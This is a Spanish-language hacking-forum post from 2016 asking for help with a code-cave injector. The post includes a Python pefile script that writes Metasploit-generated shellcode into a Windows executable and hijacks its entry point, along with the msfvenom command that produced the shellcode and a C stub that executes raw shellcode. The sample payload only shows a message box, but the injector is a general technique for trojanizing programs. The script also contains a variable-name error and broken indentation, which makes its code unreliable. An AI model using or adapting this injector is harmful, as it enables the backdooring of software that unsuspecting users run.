elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Ayuda con shell_code en metasploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con shell_code en metasploit  (Leído 2,731 veces)
sigilo

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Ayuda con shell_code en metasploit
« en: 19 Junio 2016, 02:59 am »

Reformulando la pregunta, la cuestión es, donde puedo conseguir un manual para poder modificar un shellcode  generado por metasploit para que no ejecute el exitprocess, porque me cierra el programa al cual le inyecto código.

Si ejecuto lo siguiente:
Código
  1. char code[] = "mi_shellcode";
  2. int main()
  3. {
  4. int (*func)();
  5. func = (int (*)()) code;
  6. (int)(*func)();
  7. }  
  8.  

funciona perfectamente, pero cuando lo inyecto por ejemplo en calc.exe  solo me genera el mensaje del windows/messagebox pero no ejecuta la calculadora, en google no encuentro nada, lo mismo ocurre con:

ixquick
duckduckgo
http://hss3uro2hsxfogfq.onion/      (  Evil )


--------------------------------------------------------------------------------------------------------------

Saludos antes que nada recalcar que estoy empezando a estudiar un poco sobre  code Cavity y mis conocimientos sobre el tema son limitados.

Pues bien, al trabajar un ejecutable manualmente con OllyDbg funciona perfectamente, primero me muestra el mensaje ingresado y luego se ejecuta la aplicación. No obstante es algo tedioso hacerlo manualmente, así que buscando un poco encontré el siguiente código:

Código
  1. from pefile import PE
  2. from struct import pack
  3. # windows/messagebox - 265 bytes
  4. # http://www.metasploit.com
  5. # ICON=NO, TITLE=W00t!, EXITFUNC=process, VERBOSE=false,
  6. # TEXT=Debasish Was Here!
  7. sample_shell_code = ("\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
  8. "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
  9. "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
  10. "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
  11. "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
  12. "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
  13. "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
  14. "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
  15. "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
  16. "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
  17. "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
  18. "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
  19. "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" +
  20. "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" +
  21. "\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" +
  22. "\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" +
  23. "\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" +
  24. "\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" +
  25. "\xd2\x52\x53\x51\x52\xff\xd0")
  26. if __name__ == '__main__':
  27. ejecutable = raw_input('[*] Ingrese direccion del ejecutable a inyectar codigo :')
  28. salida = raw_input('[*] ingrese lugar a guardar el ejecutable modificado :')
  29. pe = PE(ejecutable)
  30.        # Determinamos el punto de entrada del ejecutable (OEP [original entry point])
  31.        OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
  32.        # los valores que necesitaremos
  33. secciones = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
  34. alineacion  = pe.OPTIONAL_HEADER.SectionAlignment # por lo general equivale al valor de
  35.        #una pagina en memoria: 4096 bytes.
  36.        # cuanto espacio queda
  37. restante = (secciones.VirtualAddress + secciones.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
  38. fin_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + restante
  39.        # alineamos con las secciones
  40. espacio = alineacion - (fin_rva % alineacion)
  41. fin_offset = pe.get_offset_from_rva(fin_rva+espacio) - 1 # calculamos el RVA del final del offset,
  42.        # ...para que este alineado con las otras secciones
  43.        # comprobar si hay suficiente espacio para adaptarse a la carga util
  44. tc_shell = len(codigo_shell)+7 # +1 pusha, +1 popa, +5 rel32 jmp
  45.        # 80x86 Instructions by Opcode :
  46.        # Opcode Mnemonic Operand(s) Flags-affected Number-of-bytes Timing-386  Timing-486  Timing-Pentium
  47.        # E9     jmp      rel32      none           5               7+          3           1
  48. if espacio < tc_shell:
  49. # no hay suficiente espacio para el shell code
  50. exit()
  51. # el codigo puede ser inyectado
  52. scode_end_off = fin_offset
  53. scode_start_off = scode_end_off - tc_shell
  54. pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
  55. raw_pe_data = pe.write()
  56. jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
  57.        # \x60 = pusha, \x61 = popa, \xe9 = 32 bit relative distance
  58. codigo_shell = '\x60%s\x61\xe9%s' % (codigo_shell, pack('I', jmp_to & 0xffffffff))
  59. final_data = list(raw_pe_data)
  60. final_data[scode_start_off:scode_start_off+len(codigo_shell)] = codigo_shell
  61. final_data = ''.join(final_data)
  62. raw_pe_data = final_data
  63. pe.close()
  64. new_file = open(salida, 'wb')
  65. new_file.write(raw_pe_data)
  66. new_file.close()
  67. print '[*] trabajo hecho! :)'  

Lo anterior funciona perfectamente, en mi caso genero un shell code mediante metasploit de la forma:

Código
  1. msfvenom -a x86 --platform windows -p windows/messagebox TITLE="code" TEXT="cave" -f python  

pero solo sale el cuadro del mensaje y no se ejecuta el programa al que le inyecto el código.

Gracias de antemano si me pueden ayudar.
« Última modificación: 20 Junio 2016, 19:12 pm por sigilo » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda con Metasploit!!!!
GNU/Linux
Druxman Mishima 0 2,600 Último mensaje 23 Mayo 2010, 23:53 pm
por Druxman Mishima
ayuda con metasploit
Hacking
RedZer 3 4,197 Último mensaje 31 Octubre 2010, 22:51 pm
por RedZer
Metasploit... Ayuda!
Bugs y Exploits
erdosain9 3 4,525 Último mensaje 4 Enero 2011, 11:24 am
por berz3k
metasploit 3.5.1 (ayuda)
Hacking
F0K3R 9 9,593 Último mensaje 23 Abril 2011, 17:59 pm
por ruben_linux
Ayuda con Metasploit
Hacking
m0y8_s70n3 2 3,053 Último mensaje 23 Abril 2011, 18:07 pm
por ruben_linux
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines